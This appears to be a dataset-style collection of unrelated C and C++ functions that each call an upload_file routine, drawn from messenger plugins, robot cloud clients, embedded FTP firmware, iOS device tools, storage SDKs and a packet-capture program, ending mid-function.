void upload_photo_for_im(PurpleConnection* gc, const char* name, const void* contents, size_t size, const UploadedCb& uploaded_cb, const ErrorCb& error_cb, const UploadProgressCb& upload_progress_cb) { vkcom_debug_info("Uploading photo for IM\n"); upload_file(gc, "photos.getMessagesUploadServer", "photo", name, contents, size, [=](const picojson::value& v) { if (!(field_is_present<int>(v, "server") || field_is_present<string>(v, "server")) || !field_is_present<string>(v, "photo") || !field_is_present<string>(v, "hash")) { vkcom_debug_error("Strange response from upload server: %s\n", v.serialize().data()); if (error_cb) error_cb(); return; } const string& server = v.get("server").to_str(); const string& photo = v.get("photo").get<string>(); const string& hash = v.get("hash").get<string>(); CallParams params = { {"server", server}, {"photo", photo}, {"hash", hash} }; vk_call_api(gc, "photos.saveMessagesPhoto", params, [=](const picojson::value& result) { uploaded_cb(result); }, [=](const picojson::value&) { if (error_cb) error_cb(); }); }, error_cb, upload_progress_cb); }
void serve_mouse_event(int x, int y) { if (click_room(x, y)) { // roomnames.target = get_clicked_roomname(x); // update_roomname_win(); get_online(); // query_history(); // query_members(); // update_chatroom(); } else if (click_filepath(x, y)) { focus_on_target(filepath); } else if (click_upload(x, y)) { upload_file(); reset_input(); } else if (click_inputbox(x, y)) { focus_on_target(inputbox); } else if (user->download->exist_file) { if (click_download(x, y)) { wclear(room.console); waddstr(room.console, "downloading file..."); wrefresh(room.console); user->download->exist_file = 0; init_download(); } else if (click_cancel(x, y)) { wclear(room.console); wrefresh(room.console); user->download->exist_file = 0; } } }
gpointer upload(gpointer arg) { #if 0 gtk_widget_hide(mtp_submenu_item_free); #endif if(!mutex) { #if 0 gtk_label_set_text(GTK_LABEL(gtk_bin_get_child(GTK_BIN(mtp_submenu_item_up))),UP_DEFAULT_LABEL); gtk_widget_set_sensitive(mtp_submenu_item_up, TRUE); #endif return NULL; } g_mutex_lock(mutex); if(!mtp_device) { #if 0 gtk_label_set_text(GTK_LABEL(gtk_bin_get_child(GTK_BIN(mtp_submenu_item_up))),UP_DEFAULT_LABEL); gtk_widget_set_sensitive(mtp_submenu_item_up, TRUE); #endif g_mutex_unlock(mutex); return NULL; } Tuple* tuple; GList *up_list=NULL,*node; node=up_list=get_upload_list(); gint up_err=0; while(node) { tuple=(Tuple*)(node->data); up_err = upload_file(tuple); if(up_err ) { /*show_dialog("An error has occured while uploading...\nUpload failed!");*/ break; } if(exiting) { /*show_dialog("Shutting down MTP while uploading.\nPending uploads were cancelled");*/ break; } node = g_list_next(node); } g_list_free(up_list); #if 0 gtk_label_set_text(GTK_LABEL(gtk_bin_get_child(GTK_BIN(mtp_submenu_item_up))),UP_DEFAULT_LABEL); gtk_widget_set_sensitive(mtp_submenu_item_up, TRUE); #endif g_mutex_unlock(mutex); #if DEBUG g_print("MTP upload process finished\n"); #endif #if 0 gtk_widget_show(mtp_submenu_item_free); #endif g_thread_exit(NULL); return NULL; }
std::vector<std::string> speech_detection_sphinx4( const std::string & fname, const std::string & language, const std::vector<std::string> & words, const std::vector<std::string> & grammar, const std::vector<std::string> & sentences, const std::string & audio_source, const std::string & user, const std::string & host = "localhost", const std::string & port = "9090", bool debug = false ) { namespace pt = boost::property_tree; std::string path = upload_file("audio.ogg", fname, host, port, debug); pt::ptree args; args.put("language", language, s()); args.put("path", path, s()); args.put("audio_source", audio_source, s()); args.put("user", user, s()); args.add_child("words", dump(words)); args.add_child("grammar", dump(grammar)); args.add_child("sentences", dump(sentences)); pt::ptree res = rapp::cloud::service_call("/rapp/rapp_speech_detection_sphinx4/batch_speech_to_text", args, host, port, debug); if (res.empty()) return {}; std::vector<std::string> ret; for (auto ul : res.get_child("words")) { ret.push_back(ul.second.get_child("").get_value<std::string>()); } return ret; }
int main(int argc, char *argv[]) { int ret; ret = upload_file(filename, offset, len); return 0; }
void apollo::upload_item_image( hades::connection& conn, mg_connection *mg_conn, const int item_id, atlas::http::uri_callback_type callback_success, atlas::http::uri_callback_type callback_failure ) { upload_file( conn, mg_conn, "attachment_title", "attachment_data", [&conn, mg_conn, callback_success, item_id](attachment a) { insert_attachment(a, conn); image_of iof; iof.get_int<attr::attachment_id>() = a.info.get_int<attr::attachment_id>(); iof.get_int<attr::item_id>() = item_id; iof.insert(conn); // Send details of the attachment. auto r = atlas::http::json_response(a.info); mg_send_status(mg_conn, 200); mg_send_header(mg_conn, "Content-type", "text/json"); mg_send_data(mg_conn, r.data.c_str(), r.data.length()); callback_success(); }, callback_failure ); }
int main(int argc,char *argv[]) { int i; for(i=1;i<argc;i++) { if (!strcmp(argv[i], "-f")) { strcpy(input_file, argv[i+1]); printf("Input file: %s\n", input_file); i++; } else if (!strcmp(argv[i], "-o")) { strcpy(output_device, argv[i+1]); printf("Output device: %s\n", output_device); i++; } else if (!strcmp(argv[i], "-p")) { pause_between_block = atoi(argv[i+1]); printf("Pause between blocks: %u\n", pause_between_block); i++; } else if (!strcmp(argv[i], "-b")) { baud_rate = atoi(argv[i+1]); printf("Baud rate: %u\n", baud_rate); i++; } else if (!strcmp(argv[i], "-v")) { verbose = 1; printf("Verbose mode on\n"); } else { printf("-f: Absolute path file input\n-o: Serial output device\n-p: Pause between sysex blocks(100ms)\n-b: Baud rate(115200)\n-v: Verbose mode\n"); exit(EXIT_FAILURE); } } file_descriptor = open_serial(output_device, baud_rate); if (file_descriptor > -1) { upload_file(input_file, output_device, pause_between_block); if (close_serial(file_descriptor) > -1) exit(EXIT_SUCCESS); else { printf("Error while closing the serial line...\n"); exit(EXIT_FAILURE); } } else { printf("Aborting...\n"); exit(EXIT_FAILURE); } }
std::vector<int> face_recognition ( const std::string & user, rapp::object::picture::Ptr pic, const std::string & model, const std::vector<ro::face> & faces, const std::string & host = "localhost", const std::string & port = "9090", bool debug = false ) { namespace pt = boost::property_tree; ro::header header(0, ro::time(0, 0), "frame_id"); std::string name = upload_file(std::string("face.") + pic->type(), pic, host, port, false); pt::ptree args; args.put("user", user, s()); args.add_child("header", dump(header)); args.put("imageFilename", name, s()); args.put("learn", false); args.put("fn_csv", "", s()); args.put("recognize", true); args.put("model_name", model, s()); pt::ptree ul, dr; for (auto f : faces) { pt::ptree ps; ps.add_child("header", dump(header)); ps.add_child("point", dump(ro::point(f.ux(), f.uy(), 0))); ul.push_back(std::make_pair("", ps)); pt::ptree ps2; ps2.add_child("header", dump(header)); ps2.add_child("point", dump(ro::point(f.dx(), f.dy(), 0))); dr.push_back(std::make_pair("", ps2)); } if (faces.empty()) { args.put("faces_up_left", "[]"); args.put("faces_down_right", "[]"); } else { args.add_child("faces_up_left", ul); args.add_child("faces_down_right", dr); } pt::ptree res = rapp::cloud::service_call("/rapp/rapp_face_recognition/recognize_faces", args, host, port, debug); if (res.empty()) return {}; std::vector<int> ids; for (auto ul : res.get_child("recognizedIDs")) { ids.push_back(ul.second.get_child("").get_value<int>()); } return ids; }
int main() { sqlite3 *db = NULL, *db_net = NULL; int rc = 0; sqlite3_stmt *ppstmt = NULL; char sql_cmd[100] ={0}; char *errorMsg = NULL; const char *filename = NULL, *type = NULL, *wan_state = NULL; printf("************************************\n"); printf("file_upload : start\n"); printf("************************************\n"); printf("userfile.db : check record with upload = 0\n"); rc = sqlite3_open(userfile_db, &db); if(rc == SQLITE_ERROR) { printf("cannot open userfile.db!\n"); return 0; } ppstmt = NULL; memset(sql_cmd, 0, sizeof(sql_cmd)); strcpy(sql_cmd, "select filename, type from userfile_info where upload=\"0\""); sqlite3_prepare(db, sql_cmd, -1, &ppstmt, 0); rc = sqlite3_step(ppstmt); while(rc == SQLITE_ROW) { filename = sqlite3_column_text(ppstmt, 0); type = sqlite3_column_text(ppstmt, 1); printf("filename : %s\n", filename); printf("type : %s\n", type); upload_file(filename, type, db); rc = sqlite3_step(ppstmt); } sqlite3_finalize(ppstmt); sqlite3_close(db); printf("file_upload : complete!\n"); return 1; }
void upload_folder(char* file_name, char* local_path, char* remote_path, unsigned long IPaddr, int PN) { char local_temp[1024], remote_temp[1024]; DIR *dirp; struct dirent *dp; int empty = 1; strcpy(local_temp, local_path); strcpy(remote_temp, remote_path); if(change_dir(file_name, local_path, 0, IPaddr, PN)) return; if(strcmp(remote_path, "/")!=0) strcat(remote_path,"/"); strcat(remote_path, file_name); printf("Uploading folder '%s'\n", file_name); /* upload individual files */ dirp = opendir(local_path); if (dirp != 0) { int success; while ((dp = readdir(dirp))) { if(strcmp(dp->d_name,".")!=0 && strcmp(dp->d_name,"..")!=0) { bool success = upload_file(dp->d_name, local_path, remote_path, IPaddr, PN); if(success == 0) { printf("File '%s' not uploaded successfully\n",dp->d_name); } empty = 0; } } success = closedir(dirp); if(success!=0) perror("closdir() error"); } strcpy(local_path, local_temp); strcpy(remote_path, remote_temp); if(empty) { make_dir(file_name, 1, remote_temp, IPaddr, PN); } }
void upload_doc_for_im(PurpleConnection* gc, const char* name, const void* contents, size_t size, const UploadedCb& uploaded_cb, const ErrorCb& error_cb, const UploadProgressCb& upload_progress_cb) { vkcom_debug_info("Uploading document for IM\n"); upload_file(gc, "docs.getWallUploadServer", "file", name, contents, size, [=](const picojson::value& v) { if (!field_is_present<string>(v, "file")) { vkcom_debug_error("Strange response from upload server: %s\n", v.serialize().data()); if (error_cb) error_cb(); return; } const string& file = v.get("file").get<string>(); CallParams params = { {"file", file} }; vk_call_api(gc, "docs.save", params, [=](const picojson::value& result) { uploaded_cb(result); }, [=](const picojson::value&) { if (error_cb) error_cb(); }); }, error_cb, upload_progress_cb); }
int kirim_file_ke_ftp(char *abs_path, char *nf) { char posisifile[128]; char namafile[32]; int res, flag=1, oz=0, rspn=1; unsigned long int size, i,uf; FIL fd2; time_t timeval; strcpy(posisifile, abs_path); strcpy(namafile, nf); #ifdef DEBUG_FTP printf("___path: %s, nama: %s\r\n", posisifile, namafile); #endif if (res = f_open(&fd2, abs_path, FA_READ | FA_WRITE)) { printf("%s(): Buka file error %d !\r\n", __FUNCTION__, res); return 0; } f_lseek( &fd2, fd2.fsize - 6 ); f_read( &fd2, abs_path, 6, &res); #ifdef DEBUG_FTP //printf("___mo dikirim, CEK %s @@@, nf: %s\r\n", posisifile, namafile); #endif files++; if (strncmp( abs_path, "SENDED", 6) == 0) { #ifdef DEBUG_FTP printf("file %s sudah dikirim !\r\n", posisifile); #endif file_sudah++; } else { f_lseek( &fd2, 0); // kembalikan pointer // flag=55; oz=0; while(1) { rspn = upload_file(namafile); #ifdef DEBUG_FTP //printf("respon upload : %d, oz: %d, flag: %d\r\n", rspn, oz, flag); #endif if (rspn==0) { flag = 77; #ifdef DEBUG_FTP printf("_____KELUAR loop, flag: %d\r\n", flag); #endif break; } vTaskDelay(10); //cek_awal(); oz++; if (oz>20) break; } if (flag==77) { size = sizeof (abs_path); #ifdef DEBUG_FTP //printf("Sudah konek !!!...........Kirim data size: %d, res: %d!!!\r\n", size, res); #endif for (;;) { f_read( &fd2, abs_path, size, &res); //printf("res: %d\r\n"); portENTER_CRITICAL(); for (i=0; i<res; i++) { //tulis_char( abs_path[i] ); serX_putchar(PAKAI_GSM_FTP, &abs_path[i], 1000); } portEXIT_CRITICAL(); if ( res < size ) break; } //printf("kirim data: %d byte\r\n", i); // untuk mengakhiri data ftp // vTaskDelay(100); oz=0; while(1) { if (oz>50) { status_modem = 0; #ifdef PAKAI_SELENOID printf("__RESTART MODEM__"); unset_selenoid(1); // mati relay 1 vTaskDelay(500); set_selenoid(1); // hidup relay 1 #endif break; } oz++; uf = send_etx(oz); if (uf == 0) { flag = 88; break; } /* if (uf==11) { flag = 77; break; } //*/ vTaskDelay(500); //cek_awal(); } if (flag==77) { f_close( &fd2 ); printf("Upload GAGAL parsial !!! tanpa ETX\r\n"); oz=0; return 90; } // tulis SENDED pada akhir file // sprintf(abs_path, "%s", ctime( &timeval )); sprintf( &abs_path[24], "SENDED"); #ifdef DEBUG_FTP printf("TULIS %s \r\n", abs_path); #endif f_write( &fd2, abs_path, strlen(abs_path), &res); file_sukses++; printf("FILE %s terkirim ke FTP\r\n", posisifile); } else { printf("Upload %s file ERROR !\r\n", namafile); //break; } } f_close( &fd2 ); vTaskDelay(100); // kasih waktu buat proses yg lain. }
void handle_device(AMDeviceRef device) { if (found_device) return; // handle one device only CFStringRef found_device_id = AMDeviceCopyDeviceIdentifier(device); if (device_id != NULL) { if(strcmp(device_id, CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding())) == 0) { found_device = true; } else { return; } } else { if (operation == OP_LIST_DEVICES) { CFStringEncoding encoding = CFStringGetSystemEncoding(); const char *udi = CFStringGetCStringPtr(found_device_id, encoding); AMDeviceConnect(device); if(AMDeviceIsPaired(device) && (AMDeviceValidatePairing(device) == 0) && (AMDeviceStartSession(device) == 0)) { const char *device_name = CFStringGetCStringPtr(AMDeviceCopyValue(device, 0, CFSTR("DeviceName")), encoding); const char *product_type = CFStringGetCStringPtr(AMDeviceCopyValue(device, 0, CFSTR("ProductType")), encoding); const char *ios_version = CFStringGetCStringPtr(AMDeviceCopyValue(device, 0, CFSTR("ProductVersion")), encoding); printf ("%s %s %s %s\n", udi, product_type, ios_version, device_name); } else { printf("%s\n", udi); } fflush(stdout); return; } found_device = true; } if (operation == OP_INSTALL) { PRINT("[ 0%%] Found device (%s), beginning install\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding())); install_app(device); PRINT("[100%%] Installed package %s\n", app_path); if (debug) do_debug(device); } else if (operation == OP_UNINSTALL) { PRINT("[ 0%%] Found device (%s), beginning uninstall\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding())); uninstall_app(device); PRINT("[100%%] uninstalled package %s\n", bundle_id); } else if (operation == OP_UPLOAD_FILE) { PRINT("[ 0%%] Found device (%s), sending file\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding())); upload_file(device); PRINT("[100%%] file sent %s\n", doc_file_path); } else if (operation == OP_LIST_FILES) { PRINT("[ 0%%] Found device (%s), listing / ...\n", CFStringGetCStringPtr(found_device_id, CFStringGetSystemEncoding())); list_files(device); PRINT("[100%%] done.\n"); } exit(0); }
int main(int argc, char **argv) { int result; int upload_count; int rand_num; int file_index; char file_id[64]; char storage_ip[IP_ADDRESS_SIZE]; int count_sums[FILE_TYPE_COUNT]; int i; struct timeval tv_start; struct timeval tv_end; int time_used; if (argc < 2) { printf("Usage: %s <process_index>\n", argv[0]); return EINVAL; } log_init(); proccess_index = atoi(argv[1]); if (proccess_index < 0 || proccess_index >= PROCESS_COUNT) { printf("Invalid proccess index: %d\n", proccess_index); return EINVAL; } if ((result = load_file_contents()) != 0) { return result; } if ((result=test_init()) != 0) { return result; } if ((result=dfs_init(proccess_index)) != 0) { return result; } if (daemon(1, 1) != 0) { return errno != 0 ? errno : EFAULT; } memset(&storages, 0, sizeof(storages)); upload_count = 0; for (i=0; i<FILE_TYPE_COUNT; i++) { upload_count += files[i].count; count_sums[i] = upload_count; } if (upload_count == 0) { return EINVAL; } memset(file_id, 0, sizeof(file_id)); memset(storage_ip, 0, sizeof(storage_ip)); start_time = time(NULL); srand(SRAND_SEED); result = 0; total_count = 0; success_count = 0; while (total_count < upload_count) { rand_num = (int)(upload_count * ((double)rand() / RAND_MAX)); for (file_index=0; file_index<FILE_TYPE_COUNT; file_index++) { if (rand_num < count_sums[file_index]) { break; } } if (files[file_index].upload_count >= files[file_index].count) { continue; } files[file_index].upload_count++; total_count++; gettimeofday(&tv_start, NULL); *storage_ip = '\0'; result = upload_file(files[file_index].file_buff, files[file_index].bytes, file_id, storage_ip); gettimeofday(&tv_end, NULL); time_used = TIME_SUB_MS(tv_end, tv_start); files[file_index].time_used += time_used; add_to_storage_stat(storage_ip, result, time_used); if (result == 0) //success { success_count++; files[file_index].success_count++; fprintf(fpSuccess, "%d %d %s %s %d\n", (int)tv_end.tv_sec, files[file_index].bytes, file_id, storage_ip, time_used); } else //fail { fprintf(fpFail, "%d %d %d %d\n", (int)tv_end.tv_sec, files[file_index].bytes, result, time_used); fflush(fpFail); } if (total_count % 100 == 0) { if ((result=save_stats_by_overall()) != 0) { break; } if ((result=save_stats_by_file_type()) != 0) { break; } if ((result=save_stats_by_storage_ip()) != 0) { break; } } } save_stats_by_overall(); save_stats_by_file_type(); save_stats_by_storage_ip(); fclose(fpSuccess); fclose(fpFail); dfs_destroy(); printf("proccess %d, time used: %ds\n", proccess_index, (int)(time(NULL) - start_time)); return result; }
int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "usage: %s [ip]\n", argv[0]); exit(1); } init_user(); init_connection(argv[1]); signup_signin(); init_curses(); init_windows_attr(); init_windows(); // catch response from server pthread_t response_thd; if(pthread_create(&response_thd, NULL, response_handler, (void *)0)) ERR_EXIT("Create response thread failed"); get_online(); while (1) { int c = wgetch(target->win); switch(c) { case '\t': target->text[target->len] = '\0'; strcat(target->text, " "); target->len += 4; target->y += 4; break; case KEY_BACKSPACE: if (target->y != 0) { target->len--; if (target->offset == 0) mvwaddch(target->win, target->x,--target->y,' '); else { int i; for (i = target->len + target->offset; i < target->len; i++) { target->text[i] = target->text[i + 1]; mvwaddch(target->win, target->x, i, target->text[i]); } mvwaddch(target->win, target->x, i,' '); target->y--; } wrefresh(target->win); } break; case 27: //esc close_client(); case KEY_MOUSE: // waddstr(target->win, "clicked"); if(getmouse(&event) == OK) serve_mouse_event(event.y, event.x); break; case 13: //enter target->text[target->len] = '\0'; if (strcmp(target->type, COMMENT) == 0) { send_cmt(); } else { upload_file(); } reset_input(); break; case KEY_DOWN: break; case KEY_UP: break; case KEY_LEFT: if (target->len != 0) { target->y--; target->offset--; } break; case KEY_RIGHT: if (target->offset != 0) { target->y++; target->offset++; } break; default: mvwaddch(target->win, target->x, target->y, c); if (target->offset == 0) { target->text[target->len++] = c; } else { int i; for (i = target->len; i > target->len + target->offset; i--) target->text[i] = target->text[i - 1]; target->text[i] = c; target->len++; while (i++ < target->len - 1) mvwaddch(target->win, target->x, i, target->text[i]); } wrefresh(target->win); // wprintw(target->win, "%d", c); target->y++; break; } wmove(target->win, target->x, target->y); wrefresh(target->win); } close_client(); }
Result* Upload(char *dirpath,int count,...){ nspAction *nA=NSPAction(); if(nA==NULL){return NULL;} nsp_node *send=nA->createArray(); nsp_node *info; va_list lst; char *arg=NULL; va_start(lst, count); int tag=0; int successpos=0,failpos=0; char *mkfile = (char *)malloc(count*1024);//assume average path of each file has 1024 characters strcpy(mkfile,"["); //fetch vfs.upauth information if((info=NSPService("nsp.vfs.upauth",*send))==NULL){ return NULL; } //record files which failed to upload nsp_node *failfiles = nA->createArray(); if(failfiles==NULL){free(mkfile);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;} while((arg=va_arg(lst,char *))!=NULL && tag<count) { nsp_node *recv=nA->createArray(); if(recv==NULL){free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;} //begin to upload if(!upload_file(dirpath,arg,*info,*recv,false)){ nA->deleteNode(recv); tag++; nsp_node *failfile = nA->createArray(); if(!failfile){ free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA); return NULL; } nA->appendMap_Str_Str(failfile,"name",arg); nA->appendMap_Str_Int(failfile,"errCode",999); nA->appendMap_Str_Str(failfile,"errMsg","failed to upload file"); nA->appendArray(failfiles,failfile); continue; } char mkf[1024]; //begin to strcat mkfile string char fid[33]; char path[256]; char size[33]; char sig[33]; int ts; nsp_node *nsp_search = nA->searchNodeByStr(recv,"nsp_fid"); if(nsp_search!=NULL){strcpy(fid,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_path"); if(nsp_search!=NULL){strcpy(path,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_size"); if(nsp_search!=NULL){strcpy(size,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_sig"); if(nsp_search!=NULL){strcpy(sig,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_ts"); if(nsp_search!=NULL){ts=nsp_search->node_data.valueint;} sprintf(mkf,"{\"name\":\"%s\",\"md5\":\"%s\",\"type\":\"File\",\"url\":\"%s\",\"size\":\"%s\",\"sig\":\"%s\",\"ts\":%d},", (strrchr(arg,'/')+1), fid, path, size, sig, ts); strcat(mkfile,mkf); tag++; nA->deleteNode(recv); } nA->deleteNode(info); nA->deleteNode(send); nsp_node *ret = NULL; if(strlen(mkfile)==1){ ret = nA->createArray(); if(ret!=NULL){ nA->appendMap_Str_Node(ret,"successList",nA->createArray()); nA->appendMap_Str_Node(ret,"failList",failfiles); } goto finish_upload; } mkfile[strlen(mkfile)-1]=']'; //begin to mkfile send=nA->createArray(); nA->appendMap_Str_Str(send,"files",mkfile); nA->appendMap_Str_Str(send,"path",dirpath); ret = NSPService("nsp.vfs.mkfile",*send); if(ret!=NULL){ nA->getArrayNodeSize(failfiles); nsp_node *tmpnode = nA->searchNodeByStr(ret,"failList"); if(tmpnode!=NULL && tmpnode->node_data.child!=NULL && tmpnode->node_data.child->key==NULL) { free(tmpnode->node_data.child);tmpnode->node_data.child=NULL; } valuemap *vm=failfiles->node_data.child; while(vm!=NULL) { nA->appendArray(tmpnode,vm->value); vm=vm->next; } free(failfiles); } nA->deleteNode(send); finish_upload: free(mkfile);mkfile=NULL; Result *res = NSPWrapper::convert_to_result(nA,ret); nA->deleteNode(ret); NSPActionDelete(nA); return res; }
Result* UploadProgress(char *dirpath,char *filename,void *callfunc){ nsplog("调用上传回调服务",filename); nspAction *nA=NSPAction(); if(nA==NULL){return NULL;} nsp_node *send=nA->createArray(); nsp_node *info; int successpos=0,failpos=0; char *mkfile = (char *)malloc(1024);//assume average path of each file has 1024 characters strcpy(mkfile,"["); //fetch vfs.upauth information if((info=NSPService("nsp.vfs.upauth",*send))==NULL){ return NULL; } //record files which failed to upload nsp_node *failfiles = nA->createArray(); if(failfiles==NULL){free(mkfile);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;} { nsp_node *recv=nA->createArray(); if(recv==NULL){free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA);return NULL;} char mkf[1024]; //begin to upload if(!upload_file(dirpath,filename,*info,*recv,false,callfunc)){ nA->deleteNode(recv); nsp_node *failfile = nA->createArray(); if(!failfile){ free(mkfile);nA->deleteNode(failfiles);nA->deleteNode(info);nA->deleteNode(send);NSPActionDelete(nA); return NULL; } nA->appendMap_Str_Str(failfile,"name",filename); nA->appendMap_Str_Int(failfile,"errCode",999); nA->appendMap_Str_Str(failfile,"errMsg","failed to upload file"); nA->appendArray(failfiles,failfile); } else{ //begin to strcat mkfile string char fid[33]="\0"; char path[256]="\0"; char size[33]="\0"; char sig[33]="\0"; int ts=0; nsp_node *nsp_search = nA->searchNodeByStr(recv,"nsp_fid"); if(nsp_search!=NULL){strcpy(fid,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_path"); if(nsp_search!=NULL){strcpy(path,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_size"); if(nsp_search!=NULL){strcpy(size,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_sig"); if(nsp_search!=NULL){strcpy(sig,nsp_search->node_data.valuestring);} nsp_search = nA->searchNodeByStr(recv,"nsp_ts"); if(nsp_search!=NULL){ts=nsp_search->node_data.valueint;} sprintf(mkf,"{\"name\":\"%s\",\"md5\":\"%s\",\"type\":\"File\",\"url\":\"%s\",\"size\":\"%s\",\"sig\":\"%s\",\"ts\":%d},", (strrchr(filename,'/')+1), fid, path, size, sig, ts); strcat(mkfile,mkf); nA->deleteNode(recv); } } nA->deleteNode(info); nA->deleteNode(send); nsp_node *ret=NULL; if(strlen(mkfile)==1){ ret = nA->createArray(); if(ret!=NULL){ nA->appendMap_Str_Node(ret,"successList",nA->createArray()); nA->appendMap_Str_Node(ret,"failList",failfiles); } goto finish_upload_pro; } mkfile[strlen(mkfile)-1]=']'; //begin to mkfile send=nA->createArray(); nA->appendMap_Str_Str(send,"files",mkfile); nA->appendMap_Str_Str(send,"path",dirpath); ret = NSPService("nsp.vfs.mkfile",*send); nA->deleteNode(send); finish_upload_pro: free(mkfile);mkfile=NULL; Result *res = NSPWrapper::convert_to_result(nA,ret); nA->deleteNode(ret); NSPActionDelete(nA); return res; }
int main(int argc, char **argv) { char errbuf[PCAP_ERRBUF_SIZE]; bpf_u_int32 net = PCAP_NETMASK_UNKNOWN; char *filter_exp = "ip"; struct bpf_program fp; int i; int c; int opt_count = 0; int tmp_ret; char *ifile = NULL; unsigned int file_count = 0; char filename[MAX_FILENAME_LEN]; /* output file */ char pcap_filename[MAX_FILENAME_LEN*2]; /* output file */ char *cli_interface = NULL; char *cli_filename = NULL; char *config_file = NULL; struct interface ifl[IFL_MAX]; int num_interfaces; char *capture_if; unsigned int file_base_len = 0; unsigned int num_cmds = 0; unsigned int done_with_options = 0; struct stat sb; DIR *dir; struct dirent *ent; enum operating_mode mode = mode_none; /* sanity check sizeof() expectations */ if (data_sanity_check() != ok) { fprintf(stderr, "error: failed data size sanity check\n"); } /* sanity check arguments */ for (i=1; i<argc; i++) { if (strchr(argv[i], '=')) { if (done_with_options) { fprintf(stderr, "error: option (%s) found after filename (%s)\n", argv[i], argv[i-1]); exit(EXIT_FAILURE); } } else { done_with_options = 1; } } /* * set "info" to stderr; this output stream is used for * debug/info/warnings/errors. setting it here is actually * defensive coding, just in case some function that writes to * "info" gets invoked before info gets set below (if we are in * online mode, it will be set to a log file) */ info = stderr; /* in debug mode, turn off output buffering */ #if P2F_DEBUG setvbuf(stderr, NULL, _IONBF, 0); setbuf(stdout, NULL); #endif /* * set configuration from command line arguments that contain * LHS=RHS commands, then update argv/argc so that those arguments * are not subjected to any further processing */ num_cmds = config_set_from_argv(&config, argv, argc); argv += num_cmds; argc -= num_cmds; /* process command line options */ while (1) { int option_index = 0; struct option long_options[] = { {"help", no_argument, 0, 'h' }, {"xconfig", required_argument, 0, 'x' }, {0, 0, 0, 0 } }; c = getopt_long(argc, argv, "hx:", long_options, &option_index); if (c == -1) break; switch (c) { case 'x': config_file = optarg; opt_count++; break; case 'h': default: return usage(argv[0]); } opt_count++; } if (config_file) { /* * read in configuration from file; note that if we don't read in * a file, then the config structure will use the static defaults * set when it was declared */ config_set_from_file(&config, config_file); } if (config_file || (num_cmds != 0)) { /* * set global variables as needed, if we got some configuration * commands from the config_file or from command line arguments */ bidir = config.bidir; include_zeroes = config.include_zeroes; byte_distribution = config.byte_distribution; report_entropy = config.report_entropy; report_wht = config.report_wht; report_hd = config.report_hd; include_tls = config.include_tls; include_classifier = config.include_classifier; output_level = config.output_level; report_idp = config.idp; report_dns = config.dns; salt_algo = config.type; nfv9_capture_port = config.nfv9_capture_port; if (config.bpf_filter_exp) { filter_exp = config.bpf_filter_exp; } } /* * allow some command line variables to override the config file */ if (cli_filename) { /* * output filename provided on command line supersedes that * provided in the config file */ config.filename = cli_filename; } if (cli_interface) { /* * interface provided on command line supersedes that provided * in the config file */ config.interface = cli_interface; } if (config.filename) { strncpy(filename, config.filename, MAX_FILENAME_LEN); } /* * set the operating mode to online or offline */ if (config.interface != NULL && strcmp(config.interface, NULL_KEYWORD)) { mode = mode_online; } else { mode = mode_offline; } /* * if we are doing a live capture, get interface list, and set "info" * output stream to log file */ if (mode == mode_online) { if (config.logfile && strcmp(config.logfile, NULL_KEYWORD)) { info = fopen(config.logfile, "a"); if (info == NULL) { fprintf(stderr, "error: could not open log file %s\n", config.logfile); return -1; } fprintf(stderr, "writing errors/warnings/info/debug output to %s\n", config.logfile); } /* * cheerful message to indicate the start of a new run of the * daemon */ fprintf(info, "--- %s initialization ---\n", argv[0]); flocap_stats_output(info); num_interfaces = interface_list_get(ifl); if (num_interfaces == 0) { fprintf(info, "warning: could not obtain inferface information\n"); } else { for(i=0; i<num_interfaces; i++) { unsigned char *a = ifl[i].mac_addr; fprintf(info, "interface: %8s\tstatus: %s\t%02x%02x%02x%02x%02x%02x\n", ifl[i].name, (ifl[i].active ? "up" : "down"), a[0], a[1], a[2], a[3], a[4], a[5]); } } } else { info = stderr; } /* * report on running configuration (which may depend on the command * line, the config file, or both) */ config_print(info, &config); /* * configure labeled subnets (which uses a radix trie to identify * addresses that match subnets associated with labels) */ if (config.num_subnets > 0) { attr_flags subnet_flag; enum status err; rt = radix_trie_alloc(); if (rt == NULL) { fprintf(info, "could not allocate memory\n"); } err = radix_trie_init(rt); if (err != ok) { fprintf(stderr, "error: could not initialize subnet labels (radix_trie)\n"); } for (i=0; i<config.num_subnets; i++) { char label[LINEMAX], subnet_file[LINEMAX]; int num; num = sscanf(config.subnet[i], "%[^=:]:%[^=:\n#]", label, subnet_file); if (num != 2) { fprintf(info, "error: could not parse command \"%s\" into form label:subnet\n", config.subnet[i]); exit(1); } subnet_flag = radix_trie_add_attr_label(rt, label); if (subnet_flag == 0) { fprintf(info, "error: count not add subnet label %s to radix_trie\n", label); exit(1); } err = radix_trie_add_subnets_from_file(rt, subnet_file, subnet_flag, info); if (err != ok) { fprintf(info, "error: could not add labeled subnets from file %s\n", subnet_file); exit(1); } } fprintf(info, "configured labeled subnets (radix_trie), using %u bytes of memory\n", get_rt_mem_usage()); } if (config.anon_addrs_file != NULL) { if (anon_init(config.anon_addrs_file, info) == failure) { fprintf(info, "error: could not initialize anonymization subnets from file %s\n", config.anon_addrs_file); return -1; } } if (config.filename != NULL) { char *outputdir; /* * set output directory */ if (config.outputdir) { outputdir = config.outputdir; } else { outputdir = "."; } /* * generate an "auto" output file name, based on the MAC address * and the current time, if we are "auto" configured */ if (strncmp(config.filename, "auto", 